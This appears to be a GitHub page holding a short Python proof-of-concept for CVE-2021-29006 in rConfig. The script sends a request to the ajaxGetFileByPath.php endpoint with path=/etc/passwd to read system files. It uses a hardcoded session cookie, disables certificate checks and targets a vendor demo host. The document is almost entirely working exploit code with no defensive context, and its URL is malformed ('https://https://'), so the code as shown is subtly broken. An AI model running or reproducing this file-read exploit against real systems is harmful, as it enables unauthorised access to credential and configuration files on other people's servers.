mrojz Update CVE-2021-29006-POC.py History

1 contributor

26 lines (22 sloc) | 1020 Bytes

```python
import requests

headers = {
    'authority': '192.168.131.135',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '";Not A Brand";v="99", "Chromium";v="94"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36',
    'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-language': 'fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7',
    'cookie': 'PHPSESSID=c8db9e4643bd02a1053c41e7b00c26bf',
}

params = (
    ('path', '/etc/passwd'),
)

response = requests.get('https://https://demo.rconfig.com/lib/ajaxHandlers/ajaxGetFileByPath.php', headers=headers, params=params, verify=False)

print(response.content)
```